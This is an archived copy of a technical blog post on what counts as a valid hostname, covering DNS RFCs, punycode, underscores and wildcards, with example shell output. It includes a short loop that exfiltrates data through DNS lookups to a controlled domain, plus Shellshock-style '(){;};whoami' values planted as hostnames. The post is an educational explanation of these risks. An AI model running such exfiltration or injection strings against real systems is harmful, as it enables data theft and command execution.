Files
nexus/sreweekly/articles/293/06-what-s-in-a-hostname.html
2026-09-12 17:23:01 +08:00

810 lines
33 KiB
HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<title>What's in a hostname?</title>
<meta http-equiv="content-type" content= "text/html; charset=utf-8">
<meta name="robots" content="noai,noimageai">
<meta property="og:url" content="https://www.netmeister.org/blog/hostnames.html">
<meta property="og:title" content="What's in a hostname?">
<meta property="og:description" content="The
common definition of a 'valid hostname' is often
reduced to a simple regular expression, but as the saying
goes: 'Now you have two problems.' Because hostnames
are DNS labels and those... well, it's the DNS. All
bets are off.">
<meta property="og:image" content="https://www.netmeister.org/blog/images/hostname.png">
<link rel="made" href="mailto:jschauma@netmeister.org">
<link rel="alternate" type="application/rss+xml" title="Signs of Triviality" href="https://www.netmeister.org/blog/rss.xml">
<link rel="stylesheet" type="text/css" href="blog.css">
</head>
<body>
<h1>Signs of Triviality</h1>
<em>Opinions, mostly my own, on the importance of being and other things.</em>
<hr class="noshade" style="width:100%;">
<small>
[<a href="../index.html">homepage</a>]&nbsp;
[<a href="index.html">blog</a>]&nbsp;
[<a href="mailto:jschauma@netmeister.org">jschauma@netmeister.org</a>]&nbsp;
[<a href="https://mstdn.social/@jschauma">@jschauma</a>]&nbsp;
[<a href="rss.xml">RSS</a>]
</small>
<input type="checkbox" id="theme-checker" hidden>
<div class="container">
<label class="switch" for="theme-checker" title="Dark/Light mode">
<span class="slider round"></span>
</label>
</div>
<hr class="noshade" style="width:100%;">
<h2>What's in a hostname?</h2>
<table border="0" width="75%">
<tr>
<td>
<p><small>October 18, 2021</small></p>
<p>
<img src="/blog/images/hostname.png" align="right"
alt="Hello, my hostname is... undefined.">
I think a lot of people on the internet are wrong.
In particular (well, this time, anyway), about what
is and isn't valid to use in a "hostname". Yes,
yes, <a href="https://xkcd.com/386/">xkcd 386</a>, but
still, humor me, will ya?
</p>
<p>Just about everywhere you look, people will tell
you that a valid hostname consists only of the
characters <tt>a-z</tt>, numbers, and hyphens
("<tt>-</tt>"), but that they can't start or end with
a hyphen. So you start putting together a regular
expression along the lines of:</p>
<div style="text-align: center;"><pre class="code">
^[a-z0-9]+(([a-z0-9-])*[a-z0-9]+)*$
</pre></div>
<p>Now, as the <a
href="http://regex.info/blog/2006-09-15/247">famous
saying</a> goes, you have (at least) two
problems:</p>
<p>DNS names are case-insensitive, so
<tt>www.netmeister.org</tt> and
<tt>wWw.NeTmEiStEr.OrG</tt> are equivalent:</p>
<div class="centerbox"><pre class="code">
$ host www.netmeister.org
www.netmeister.org is an alias for panix.netmeister.org.
panix.netmeister.org has address 166.84.7.99
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
$ host wWw.NeTmEiStEr.OrG
www.netmeister.org is an alias for panix.netmeister.org.
panix.netmeister.org has address 166.84.7.99
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
$ </pre></div>
<p> And in my zone file, I can create labels using
upper or lower case characters, and a lookup for
either will yield <em>all</em> matching results:</p>
<div class="centerbox"><pre class="code">
$ grep ^[bB] valid.dns.netmeister.org
b IN A 203.0.113.4
b IN AAAA 2001:db8:b::1
B IN A 203.0.113.5
B IN AAAA 2001:db8:b::2
$ host b.valid.dns.netmeister.org
b.valid.dns.netmeister.org has address 203.0.113.4
b.valid.dns.netmeister.org has address 203.0.113.5
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::2
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::1
$ host B.valid.dns.netmeister.org
b.valid.dns.netmeister.org has address 203.0.113.4
b.valid.dns.netmeister.org has address 203.0.113.5
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::2
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::1
$ </pre></div>
<p>
(This, by the way, is why you need to normalize, e.g.,
hostnames in client certificates, SNIs, or
<tt>Host:</tt> headers, especially when using those in
an authorization context.)</p>
<p>But ok, adding <tt>A-Z</tt> to the regex isn't hard.
But we also have to account for special cases involving
hyphens. Common wisdom tells us we can't have a
hostname start or end with a hyphen, but what about
multiple successive hyphens? Let's give it a try:</p>
<div class="centerbox"><pre class="code">
$ host 0-------------------------------------------------------------9.valid.dns.netmeister.org
0-------------------------------------------------------------9.valid.dns.netmeister.org has address 203.0.113.7
0-------------------------------------------------------------9.valid.dns.netmeister.org has IPv6 address 2001:db8:53::7
$ </pre></div>
<p>Hey, that works. But... wait a second, <a
href="https://www.rfc-editor.org/rfc/rfc5891#section-4.2.3.1">RFC5891</a>
(2010), which adds support for Internationalized
Domain Names (IDNs) in the DNS notes:</p>
<blockquote class="pretty">
The Unicode string MUST NOT contain "--" (two
consecutive hyphens) in the third and fourth character
positions and MUST NOT start or end with a "-"
(hyphen).
</blockquote>
<p>Remember <a href="tlds.html#idns">IDNs</a>? Those
are used in the DNS to represent names using non-ascii
alphabets, but are actually written into the DNS using
<a
href="https://en.wikipedia.org/wiki/Punycode">punycode</a>.
Punycode uses the ASCII Compatible Encoding (ACE)
prefix "<em>xn--</em>", which... makes things
<em>really</em> messy:</p>
<p>"<tt>&auml;.valid.dns.netmeister.org</tt>" is an IDN
with punycode representation
"<tt>xn--4ca.valid.dns.netmeister.org</tt>". Your
browser or an HTTP client like, e.g., <tt>curl(1)</tt>
may automatically translate <tt>&auml;</tt> to
<tt>xn--4ca</tt> for you, so will not actually issue a
DNS lookup for
"<tt>&auml;.valid.dns.netmeister.org</tt>", but for
"<tt>xn--4ca.valid.dns.netmeister.org</tt>". Likewise
for, say, <tt>&#x1F4A9;</tt> / <tt>xn--ls8h</tt>.</p>
<p>But not all Unicode Code Points are necessarily
allowed in IDNs (see <a
href="https://datatracker.ietf.org/doc/html/rfc5892#appendix-B.1">RFC5892</a>);
<tt>&auml;</tt> (00E4) is allowed, &#x1F4A9; (1F4A9)
is <em>not</em>. Never mind that despite it violating
RFC5892, the domain <a
href="https://xn--ls8h.la/">&#x1F4A9;.la</a> exists,
got a TLS certificate from Let's Encrypt, and can be
reached via your browser; it merely shows that
registrars and clients do not necessarily or
consistently implement this check.</p>
<p>Now your <em>browser</em> is likely to take
"<tt>&auml;.valid.dns.netmeister.org</tt>", translate
it to "<tt>xn--4ca.valid.dns.netmeister.org</tt>" and
then perform a DNS lookup, but a command-line lookup
would try "<tt>&auml;</tt>" and fail:</p>
<div class="centerbox"><pre class="code">
$ host xn--4ca.valid.dns.netmeister.org
xn--4ca.valid.dns.netmeister.org has address 203.0.113.7
xn--4ca.valid.dns.netmeister.org has IPv6 address 2001:db8:53::7
$ host &auml;.valid.dns.netmeister.org
host &auml;.valid.dns.netmeister.org not found: 3(NXDOMAIN)
$ host xn--ls8h.valid.dns.netmeister.org
xn--ls8h.valid.dns.netmeister.org has address 203.0.113.6
xn--ls8h.valid.dns.netmeister.org has IPv6 address 2001:db8:53::6
$ host &#x1F4A9;.valid.dns.netmeister.org
Host &#x1F4A9;.valid.dns.netmeister.org not found: 3(NXDOMAIN)
$
</pre></div>
<p><tt>curl(1)</tt>, for example, may behave
differently depending on the version or how it was
built:</p>
<div class="centerbox"><pre class="code">
# successful conversion to xn--4ca.valid.dns.netmeister.org
$ curl -v -I http://&auml;.valid.dns.netmeister.org
* Trying 203.0.113.7:80...
vs
$ curl -I http://&auml;.valid.dns.netmeister.or
curl: (3) Failed to convert &auml;.valid.dns.netmeister.org to ACE; could not convert string to UTF-8
</pre></div>
<p>As we observe, on successful conversion of the IDN into
punycode we get a <tt>xn--</tt>-prefixed DNS label
name, which is why we don't want any names with two
hyphens in the third and fourth position.
<tt>bind9</tt> let us do that anyway, but to generate
a <em>valid</em> label, we might create names like
this:</p>
<div class="centerbox"><pre class="code">
$ host 0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org
0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org has address 203.0.113.8
0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org has IPv6 address 2001:db8:1:2:3:4:5:678
$ </pre></div>
<p>Oooookay then. That's pretty long. Can you
just... do that? Is there no limitation on the
<em>length</em> of a hostname?</p>
<p>There is. But it's complicated: When matching
"hostnames", we're often more interested in
<em>fully-qualified domain names</em>, which consist
of multiple <em>DNS labels</em>. Each of those has a
length restriction, while we also have a total <a
href="https://devblogs.microsoft.com/oldnewthing/20120412-00/?p=7873">maximum
length of the FQDN</a>. Specifically, the DNS
limitations are spelled out in <a
href="https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4">RFC1035</a>
from 1987:</p>
<blockquote class="pretty" style="width: max-content">
<pre>Various objects and parameters in the DNS have size
limits. They are listed below. Some could be easily
changed, others are more fundamental.
labels 63 octets or less
names 255 octets or less</pre></blockquote>
<p>So in addition to the initial examples of "valid
hostnames", the following would also need to be
matched correctly:</p>
<div class="centerbox"><pre class="code">
# A single label cannot be longer than 63 octets:
$ host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org has address 203.0.113.8
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org has IPv6 address 2001:db8:dead:f1ea::1
# But you can have many labels so long as the FQDN is &lt;= 255 octets:
$ host 0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
has address 203.0.113.3
0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
has IPv6 address 2001:db8:0:1:2:3:4:5
$ </pre></div>
<p>With 63 octets per label and 253 total bytes in the
FQDN, you can see how you can then use DNS lookups for
data exfiltration:</p>
<div class="centerbox"><pre class="code">
$ for label in $(base64 &lt;payload | fold -w 200 | sed -e 's/.\{63\}/&amp;./g'); do
dig txt $label.yourdomain
done
</pre></div>
<p>On the authoritative DNS server you control, simply
reconstruct the original data from the DNS lookups.
Nice. But back to the question of what makes a "valid
hostname"...</p>
<p>Trying to encode all of the above so far in a
regular expression becomes silly quickly, and is thus
left as an exercise for those who enjoy copying code
from Stackoverflow without fully understanding what it
does. But ok, let's stick with the basic rule of only
allowing <tt>[a-z0-9-]</tt>, meaning we're talking
about an individual DNS <em>label</em>. Where did
people pick up the rules about only allowing
<tt>[a-z0-9-]</tt>?</p>
<p>The canonical citation for this restriction remains
<a
href="https://datatracker.ietf.org/doc/html/rfc952">RFC952</a>,
which dates back to 1985 (and thus predates the DNS
itself). In fact, RFC952 is entitled "<em>DOD INTERNET
HOST TABLE SPECIFICATION</em>", providing a lexical
grammar for entries of type <tt>NET</tt>,
<tt>GATEWAY</tt>, <tt>HOST</tt>, and
<tt>DOMAIN</tt>:</p>
<div style="text-align: center;"><pre class="code">
&lt;hname&gt; ::= &lt;name&gt;*["."&lt;name&gt;]
&lt;name&gt; ::= &lt;let&gt;[*[&lt;let-or-digit-or-hyphen&gt;]&lt;let-or-digit&gt;]
</pre></div>
<p>But <a
href="https://www.rfc-editor.org/rfc/rfc1033">RFC1033</a>
(1987), the "<em>DOMAIN ADMINISTRATORS OPERATIONS
GUIDE</em>" says:</p>
<blockquote class="pretty" style="font-size: 1em"> The
domain system allows a label <span class="hl1">to
contain any 8-bit character</span>. Although the
domain system has no restrictions, other protocols
such as SMTP do have name restrictions. Because of
other protocol restrictions, only the following
characters are <span class="hl1">recommended</span>
for use in a host name (besides the dot
separator):<br> <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"A-Z",
"a-z", "0-9", dash and underscore </blockquote>
<p>The DNS "<em>DOMAIN NAMES - IMPLEMENTATION AND
SPECIFICATION</em>" <a
href="https://datatracker.ietf.org/doc/html/rfc1035">RFC1035</a>
(1987) states that "<em>when creating a new host name,
the old rules for HOSTS.TXT should be followed.</em>",
and <a
href="https://datatracker.ietf.org/doc/html/rfc1123#section-2">RFC1123</a>
(1989) updates RFC952 to allow hostnames to start with
a letter <em>or</em> a digit, but that's about it.
<a
href="https://www.rfc-editor.org/rfc/rfc1912#section-2.1">RFC1912</a>
(1996) similarly suggests as much:</p>
<blockquote class="pretty" style="font-size: 1em">
Allowable characters in a label for a host name are
only ASCII letters, digits, and the `-' character.
Labels may not be all numbers, but may have a leading
digit (e.g., 3com.com). Labels must end and begin
only with a letter or digit. [...] The presence of
underscores in a label is allowed in [RFC 1033],
except [RFC 1033] is informational only and was not
defining a standard.
</blockquote>
<p>Ergo: hostnames MUST match only <tt>[a-z0-9-]</tt>,
right? Well, fun fact: RFC1912 is <em>also</em> only
informational, but ok, then RFC952/RFC1123 still
holds. But then why do we even have so many questions
about what makes a valid hostname?</p>
<p> Now <em>that</em> appears to have its origin in
Microsoft Windows's use of <a
href="https://en.wikipedia.org/wiki/NetBIOS">NetBIOS</a>,
which defines "<em>NetBIOS computer names</em>" in <a
href="https://datatracker.ietf.org/doc/html/rfc1001">RFC1001</a>
as 16 bytes (though Microsoft only allows 15 bytes,
using the last byte to encode the devices
functionality), and which does allow, for example,
spaces as well as the underscore ("<tt>_</tt>") (see,
e.g., <a
href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/naming-conventions-for-computer-domain-site-ou#computer-names">AD
naming conventions</a>). Now even in the days of
Windows NT people apparently understood that spaces
in names can complicate things, so replacing spaces
with underscores appears to have been a popular
approach: "<tt>MY COMPUTER</tt>" becomes
"<tt>MY_COMPUTER</tt>".</p>
<p>But while a NetBIOS "computer name" is <em>not</em>
a <em>hostname</em>, you do need one of those to
communicate with other hosts on the internet (i.e.,
outside of NetBIOS), and so you end up with people
trying to add their NetBIOS "computer names" into the
DNS, have their software or name server reject the
name due to an invalid character, and then go and
ask on Stackoverflow what the set of valid characters
for a hostname is. Which is how we got here.</p>
<p>But... <em>is</em> an underscore an invalid
character in a hostname? It's pretty clear from, say,
<a href="dns-rrs.html#srv">SRV</a> or <a
href="dns-rrs.html#tlsa">TLSA</a> records and the
widespread use of <a
href="https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail">DKIM</a> that the
DNS has no problem with them:</p>
<div style="text-align: center;"><pre class="code">
$ dig +short tlsa _443._tcp.www.netmeister.org
3 1 1 2D2379261544C9841025CE4F728F7D4D5A00E9B0B1EF2B1E2EEBBED7 B1843543
$ dig +short txt 2021._domainkey.netmeister.org.
"v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCwSwZZHRcoVIHxjlETstEBKt/ \
YiLFpZ0VGvz1ufZLVWKuOF1iKJOF/rDjzehyNK2CkJscPzcuMV6zMQyxiEOOPl4Pkugd4G27G4klqLK9TZ \
EC3a77Iy4c1gu+10CSjsPPZgNCflLxmw/VtPs6n/ENgZyH6HUAv04yw8aMQnVnwlQIDAQAB"
$
</pre></div>
<p> In fact, many modern nameservers use the
underscore to implement <a
href="/twitter/1372611659148185616">DNS
Query Name Minimisation</a> (<a
href="https://datatracker.ietf.org/doc/html/rfc7816">RFC7816</a>)
using exactly underscores as the left-most label, so
clearly the underscore is a <em>valid</em> character
-- for a <em>DNS label</em>, at least.</p>
<p>So what's the set of valid characters for a <em>DNS
label</em> that's <em>not</em> a hostname? Aside from
the "informational" RFCs noted above, <a
href="https://datatracker.ietf.org/doc/html/rfc2181#section-11">RFC2181</a>
provided a few important "<em>Clarifications to the
DNS Specification</em>" back in 1997:</p>
<blockquote class="pretty" style="font-size: 1em">
Occasionally it is assumed that the Domain Name System
serves only the purpose of mapping Internet host names
to data, and mapping Internet addresses to host names.
This is not correct, the DNS is a general (if somewhat
limited) hierarchical database, and can store almost
any kind of data, for almost any purpose.
<br><br>
The DNS itself places only one restriction on the
particular labels that can be used to identify
resource records. That one restriction relates to the
length of the label and the full name. The length of
any one label is limited to between 1 and 63 octets.
A full domain name is limited to 255 octets (including
the separators). [...] <span class="hl1">Those
restrictions aside, any binary string whatever can be
used as the label of any resource record.</span>
Similarly, any binary string can serve as the value of
any record that includes a domain name as some or all
of its value (SOA, NS, MX, PTR, CNAME, and any others
that may be added). </blockquote>
<p>Oh, look at that: "<b>any binary string whatever
can be used as the label of any resource record.</b>"
That includes the underscore. But even though a DNS
<em>label</em> (and <tt>RDATA</tt>, incidentally) can
contain just about anything, the above history has
lead to DNS implementations applying different rules
to labels that function as "hostnames" -- specifically,
labels for resource records of type <tt>A</tt>,
<tt>AAAA</tt>, and <tt>MX</tt>, as well as for RDATA
of types <tt>NS</tt>, <tt>SOA</tt>, <tt>MX</tt>, and
<tt>SRV</tt> (at least):</p>
<div style="text-align: center;"><pre class="code">
$ grep -n ^_ valid.dns.netmeister.org
53: _ IN TXT "no query minimization here"
70: _ IN A 203.0.113.9
$ named-checkzone valid.dns.netmeister.org valid.dns.netmeister.org
valid.dns.netmeister.org:70: _.valid.dns.netmeister.org: bad owner name (check-names)
zone valid.dns.netmeister.org/IN: loaded serial
2021101513
OK
$ </pre></div>
<p>Note that <tt>named-checkzone</tt> did not complain
about the <tt>TXT</tt> record on line 53, and so that
is indeed a valid DNS label:</p>
<div style="text-align: center;"><pre class="code">
$ dig +short _.valid.dns.netmeister.org txt
"no query minimization here"
$ </pre></div>
<p>In other words, we can use all sorts of characters
for records of other types, notably include
<tt>CNAME</tt> records:</p>
<div style="text-align: center;"><pre class="code">
$ host ________.valid.dns.netmeister.org
________.valid.dns.netmeister.org is an alias for www.netmeister.org.
www.netmeister.org is an alias for panix.netmeister.org.
panix.netmeister.org has address 166.84.7.99
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
$ </pre></div>
<p>Now this makes things interesting, because
virtually everybody considers a <tt>CNAME</tt> to be a
"hostname", and FQDNs that are <tt>CNAME</tt>s end up
in all sorts of places where we assume they are
<em>hostnames</em>. But note also that RFC2181
stresses:</p>
<blockquote class="pretty" style="font-size: 1em">
Implementations of the DNS protocols must not place
any restrictions on the labels that can be used. In
particular, DNS servers must not refuse to serve a
zone because it contains labels that might not be
acceptable to some DNS client programs. A DNS server
may be configurable to issue warnings when loading, or
even to refuse to load, a primary zone containing
labels that might be considered questionable, however
this should not happen by default.
</blockquote>
<p>And so -- ignoring the discussion of what should or
shouldn't be a "default" -- we <em>can</em> instruct,
e.g., <a
href="https://bind9.readthedocs.io/en/latest/reference.html">bind9</a>
to simply not complain about so-called "invalid"
names, since we have already established that, outside
of the length restriction, there really is no such
thing. And then:</p>
<div style="text-align: center;"><pre class="code">
# A "hostname" must not start with a hyphen:
$ dig +short aaaa -q "-.invalid.dns.netmeister.org"
2001:db8:fa4e::1
# ...nor end with a hyphen:
$ dig +short aaaa a-.invalid.dns.netmeister.org
2001:db8:fa4e::2
# MX records should not allow special characters like '@'
$ dig +short mx jschauma@this.is.invalid.dns.netmeister.org
50 panix.netmeister.org.
# You can't quote the ., but you sure can make it look like you can:
$ host "'.'.invalid.dns.netmeister.org"
'.'.invalid.dns.netmeister.org has address 192.0.2.8
'.'.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::8
# In fact, all bets are off:
$ dig +short "&#xAF;\_(&#x30C4;)_/&#xAF;.invalid.dns.netmeister.org"
192.0.2.5
$ dig +short aaaa "&#xAF;\_(&#x30C4;)_/&#xAF;.invalid.dns.netmeister.org"
2001:db8:fa4e::5
</pre></div>
<p>With <tt>check-names</tt> disabled, we can then
also create a label with a literal non-punycode IDN /
emoji, thereby allowing tools like <tt>host(1)</tt>
and <tt>dig(1)</tt> to work:</p>
<div style="text-align: center;"><pre class="code">
$ host &auml;.invalid.dns.netmeister.org
\195\131\194\164.invalid.dns.netmeister.org has address 192.0.2.11
\195\131\194\164.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::11
$ host &#x1F4A9;.invalid.dns.netmeister.org
\195\176\194\159\194\146\194\169.invalid.dns.netmeister.org has address 192.0.2.10
\195\176\194\159\194\146\194\169.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::10
</pre></div>
<p>This still feels like cheating, though, because we
had to explicitly disable <tt>check-names</tt> in our
<tt>bind9</tt> configuration file. But remember that
anything that's "invalid" for "hostnames" (as in
<tt>A</tt> and <tt>AAAA</tt> records) still
<em>is</em> valid for <tt>CNAME</tt> records. So all
of the following shenanigans will work and are
<em>entirely</em> "valid":</p>
<div style="text-align: center;"><pre class="code">
$ host 'www.netmeister.org. .is.valid.dns.netmeister.org'
www.netmeister.org.\032.is.valid.dns.netmeister.org is an alias for www.netmeister.org.
www.netmeister.org is an alias for panix.netmeister.org.
panix.netmeister.org has address 166.84.7.99
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
$ host "&#xAF;\_(&#x30C4;)_/&#xAF;.valid.dns.netmeister.org"
\195\130\194\175_\(\195\163\194\131\194\132\)_/\195\130\194\175.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
1.valid.dns.netmeister.org has address 203.0.113.1
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
$ host '$HOSTNAME.valid.dns.netmeister.org'
\$HOSTNAME.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
1.valid.dns.netmeister.org has address 203.0.113.1
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
$ host '(){;};whoami.valid.dns.netmeister.org'
\(\){\;}\;whoami.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
1.valid.dns.netmeister.org has address 203.0.113.1
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
</pre></div>
<p>"But those aren't <em>hostnames</em>!", you
say. Which... is true. But they're used <em>as</em>
hostnames and used <em>in a hostname context</em> for
all intents and purposes. Which of course makes
things like <tt>(){;};whoami</tt> particularly
dangerous -- remember <a
href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">Shellshock</a>?
Setting a "hostname" via DHCP was <a
href="https://blog.trendmicro.com/trendlabs-security-intelligence/bash-bug-saga-continues-shellshock-exploit-via-dhcp/">exactly
one such scenario</a>. And what exactly is a
"hostname" supposed to be, anyway?</p>
<p>A "hostname" can mean many different things (as
noted in <a
href="https://datatracker.ietf.org/doc/html/rfc7719#section-2">RFC7719</a>). It
may refer to a DNS label of an <tt>A</tt> or
<tt>AAAA</tt> record, it may refer to a complete FQDN,
or it may be "the left-most label of a FQDN". And
this distinction between "the left-most component of a
FQDN" and a FQDN is important even if you stick to all
common definitions of "validity". For example,
consider the hostname <tt>0xcafe</tt>, which clearly
matches <tt>^[a-zA-Z0-9-]+$</tt>: </p>
<div style="text-align: center;"><pre class="code">
$ grep domain /etc/resolv.conf
domain valid.dns.netmeister.org # save ourselves some typing
$ host 0xcafe
0xcafe.valid.dns.netmeister.org has address 203.0.113.10
0xcafe.valid.dns.netmeister.org has IPv6 address 2001:db8:cafe:cafe:cafe:cafe:cafe:c0fe
$ ping 0xcafe
PING 0xcafe (0.0.202.254): 56 data bytes
^C
</pre></div>
<p>Since <tt>0xcafe</tt> is not a FQDN, our
<tt>host(1)</tt> command will append
<tt>.valid.dns.netmeister.org</tt>. But
<tt>ping(1)</tt> says "Hey, that's just a hex number,
let me <a href="inet_aton.html">pretend it's an IP address</a> and ping
<em>that</em> instead.". Yay!</p>
<p>But... isn't a "hostname" in the end whatever the
<tt>hostname(1)</tt> command returns (depending on
your Unix flavor using either the <tt>-s</tt> flag or
as a default)? And shouldn't <em>that</em> define
what is and isn't "valid"?</p>
<p>Well, guess what: the <tt>hostname(1)</tt> command
itself may not enforce any restrictions on
what you <em>set</em> your system's hostname to. Even
if your <tt>hostname(1)</tt> does, your
<tt>sethostname(2)</tt> probably does not:</p>
<div style="text-align: center;"><pre class="code">
# NetBSD:
$ sudo hostname _invalid
$ hostname _invalid
$ sudo hostname " "
$ hostname
$ sudo hostname '(){;};whoami'
$ hostname
(){;};whoami
$
# Linux
$ sudo hostname _invalid
hostname: the specified hostname is invalid
$ sudo sysctl -w kernel.hostname=_invalid
kernel.hostname = _invalid
$ hostname
_invalid
$ echo '(){;};whoami' | sudo tee /proc/sys/kernel/hostname
(){;};whoami
$ hostname
(){;};whoami
$
</pre></div>
<p>Oh, and one last thing: <tt>*</tt> is a valid
character for a DNS label, and so indeed a valid
hostname (per RFC2181), but in <tt>bind9</tt> it
<em>also</em> functions as a wildcard, matching any
names that you do not have explicitly set in the zone.
And that matches <tt>*</tt> itself:</p>
<div style="text-align: center;"><pre class="code">
$ host $(tr -dc '[:print:]' &lt;/dev/urandom | head -c 12).dns.netmeister.org
[?3ft0ds&amp;]u.dns.netmeister.org has address 198.51.100.1
[?3ft0ds&amp;]u.dns.netmeister.org has IPv6 address 2001:db8::c2de:2d22:5ca1:2727
$ host *.dns.netmeister.org
*.dns.netmeister.org has address 198.51.100.1
*.dns.netmeister.org has IPv6 address 2001:db8::c2de:2d22:5ca1:2727
$ </pre></div>
<p>So with that, I can get myself a wildcard TLS
certificate for <tt>*.netmeister.org</tt> and serve that
from <a
href="https://*.netmeister.org:4443">http://*.netmeister.org:4443</a><sup><small><a href="#1">1</a></small></sup>
(although it will depend on your client whether or not
it correctly interprets this hostname):</p>
<div style="text-align: center;"><pre class="code">
$ curl -v -I https://*.netmeister.org:4443
* Trying 2001:470:30:84:e276:63ff:fe72:3900:4443...
* Connected to *.netmeister.org (2001:470:30:84:e276:63ff:fe72:3900) port 4443 (#0)
[...]
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
* Server certificate:
* subject: CN=*.netmeister.org
* subjectAltName: host "*.netmeister.org" matched cert's "*.netmeister.org"
* SSL certificate verify ok.
&gt; HEAD / HTTP/1.1
&gt; Host: *.netmeister.org:4443
&gt;
&lt; HTTP/1.1 200 OK
</pre></div>
<p>Safari has no problem visiting that site, but
Firefox and Chrome both treat
<tt>https://*.netmeister.org</tt> as an invalid URL,
so default to searching the internet instead. Web
servers similarly may not correctly handle a <tt>Host:
*.netmeister.org</tt> header: Apache appears to not
extract the host from the header and will throw a
<tt>400 Bad Request</tt>, while, e.g., <a
href="http://www.eterna.com.au/bozohttpd/">bozohttpd</a>
has no problem serving the request:</p>
<p><center><img src="/blog/images/*.netmeister.org.png"
alt="Screenshot of Safair connecting to
https://*.netmeister.org:4443"
width="400"></center></p>
<p>So... what does <em>valid</em> mean in the context
of "hostnames"? It seems like we haven't made made
much progress since the beginning of this blog post.
I guess the best we can do is draw the distinction
between <em>RFC-valid</em> and "probably not a good
idea":</p>
<ul>
<li><tt>^[a-zA-Z0-9-]+$</tt> is <em>not</em> correct
to match "valid" hostnames</li>
<li>"<tt>_</tt>" <em>is</em> a valid character in a
hostname, but so are <tt>!@#$%^&amp;*(){};</tt>.<br>
<br>
It still isn't a good idea to use those characters in
a DNS label for an <tt>A</tt> or <tt>AAAA</tt> record, and in
fact many libraries and applications will reject them.</li>
<li>As we've seen, you can stuff <em>anything</em> into the DNS and
be <em>technically correct</em>, but that doesn't help
you in reality.</li>
<li>However, you should <em>never</em> assume that whatever comes
back from a DNS lookup or what might show up in a
<tt>CNAME</tt> or anywhere else matches whatever <em>you</em>
think is "valid".</li>
<li>You can spend a surprising amount of time chasing
RFCs and finding out more than you ever thought you'd
need to know about something as trivial as
"hostnames".</li>
</ul>
<p><a href="https://27bslash6.com/tiiap.html">The
Internet is a Playground</a>, the DNS a
never-ending source of entertainment and astonishment,
and hostnames... largely undefined.</p>
<blockquote class="pretty" style="font-size: 1em;
width: max-content;">
<pre>
"<em>'Tis but thy name that is my enemy;
Thou art thyself, though not a Host.
What's Host? It is nor port, nor service,
Nor stack, nor app, nor any other part
Belonging to a system. O, be some other name!
What's in a name? That which we call a site
By any other name would fail as quick;
</em>" -- DevOps Juliet</pre>
</blockquote>
<p><small>October 18, 2021</small></p>
<hr width="80%">
<p><small>Footnotes:</small></p>
<p id="1"><small>[1] This used to work as of October
2021. Since then, Safari has also stopped working on
desktop, but still works on iOS. However, I've
changed my certificate from a wildcard certificate to
a fixed names cert, so this no longer works as of
01/2025. Sorry.</small></p>
<hr width="80%">
<p><small>Related Links:</small></p>
<ul>
<li><small><a href="https://news.ycombinator.com/item?id=28914431">Discussion on HackerNews</a></small></li>
